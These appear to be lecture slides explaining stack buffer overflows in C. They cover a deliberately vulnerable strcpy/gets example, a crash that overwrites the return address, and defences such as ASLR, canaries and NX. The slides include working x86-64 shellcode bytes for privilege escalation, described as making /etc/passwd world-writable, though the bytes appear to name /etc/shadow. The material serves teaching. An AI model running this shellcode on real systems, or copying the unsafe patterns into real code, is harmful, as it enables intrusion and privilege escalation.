Exploiting C(rap) for Fun and Probably Not Profit Although You Can Do That Too
while(*pwszTemp != L'\\')
*pwszServerName++ = *pwszTemp++Is this code okay?
OMG, NO!
It's how we got Blaster Worm!
char buf[20];
gets(buf);These overflows are, along with XSS, CSRF, and SQL injection, the worst security vulnerabilities you can introduce.
What's worse: they've been known about since the 80s, but it's still a very, very common vulnerability.
In 1996 in Phrack magazine, "Aleph One" wrote the classic article, "Smashing the Stack for Fun and Profit", detailing this hack. Even though the details are a bit dated, the core themes still apply, and it's quite readable!
It's a type of buffer overflow, a dangerous software vulnerability that mainly affects programs written in C/C++.
A buffer overflow occurs when memory is "illegally" accessed outside of the range of a variable.
Stack frame
Higher addresses
Lower addresses
int: 5
char: 'aoeuaoeuaoeuaoeu'
???
Because it is "portable assembly code", it gets as low as you can without being processor-specific. It can be easy to optimize for speed and is the standard to which application speed is held for decades.
Because you have so much control, you can easily get into trouble if you mismanage a resource (memory allocation, for example).
Also, C still does some stuff for you behind the scenes that can haunt you later if you're not careful!
Code
Data
bss
Heap
Stack
0x80000000
0xFFFFFFFF
This whole discussion is for Linux running x86 processors. Windows, ARM, etc are similar.
Function arguments are pushed onto the stack in reverse order.
The local variables are pushed onto the stack in code order.
int best_function_ever(int x, int y, char* out) {
int debug = 0;
char buffer[16] = {0};
strcpy(out, buffer);
return 0;
}Stack frame (controlled by OS, not C!)
out
y
x
%rbp
%rip
debug
buffer
Push arguments onto the stack.
Push the current frame pointer %rbp so that when the function is completed, it can return to main.
Save the current instruction pointer so that the OS knows where to resume control after the function returns.
Pop these off the stack when the function returns.
#include<stdio.h>
#include<string.h>
int best_function_ever(int x, int y, char* out) {
int debug = 0;
char buffer[16] = {0};
strcpy(out, buffer);
return 0;
}
int main(int argc, char** argv) {
char* greeting = "hey";
int result = best_function_ever(2,3,greeting);
return 0;
} movl $2, %eax
movl $3, %ecx
leaq L_.str(%rip), %rdx
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq -24(%rbp), %rdx
movl %eax, %edi
movl %ecx, %esi
callq _best_function_ever
movl $0, %ecx
movl %eax, -28(%rbp)
movl %ecx, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
Notice that there is no bounds-checking on arrays in C.
Fill up the buffer with some garbage, like 'AAAA' (i.e., the sound you should make if you see this kind of code)
'A' is ASCII code 65, or in hex, 0x41.
int main(int argc, char** argv) {
char* greeting = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int result = best_function_ever(2,3,greeting);
return 0;
}Poorly-handled user data overflows from buffer, smashing the stack
out
y
x
%rip
%rbp
debug
buffer
$ gcc -o bad bad.c
$ ./bad
Bus errorProgram received signal SIGSEGV, Segmentation Fault.
0x41414141 in ?? ()AAAAAAAAAAAAAAAAAAAAAAAA
Maybe I'm satisfied that I was able to bring down someone's service. But notice that I was able to overwrite the return address.
If we can gain control of the instruction pointer, we can direct the program to go somewhere more evil, I mean, more clever.
"\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
"\x48\x31\xd2\x66\xbe\xff\x01\x48\xbb\xff"
"\xff\xff\xff\xff\x64\x6f\x77\x48\xc1\xeb"
"\x28\x53\x48\xbb\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x53\x48\x89\xe7\x48\x31\xc0\xb0"
"\x5a\x0f\x05\x48\x31\xff\x48\x31\xc0\xb0"
"\x3c\x0f\x05"This lil' guy does the following:
setuid(0) &&
chmod ("/etc/passwd", 0777) &&
exit(0)Gives root privileges and makes all passwords editable by anyone! Charming!
Let's Break Something!
Heap Overflows: like with the stack, except on the heap. Exploits malloc().
Integer Overflows: Exploit the fact that integers "wrap around" when very big and create zero-length buffers.
Format string attack: Use printf() to read and write memory.
ASLR (Address Space Layout Randomization)
Stack canaries (special bits in the stack, not a pile of birds)
Non-executable stack and heap (NX)
Probably not using C/C++ at all, really, unless you're really careful and good at coding and need the speed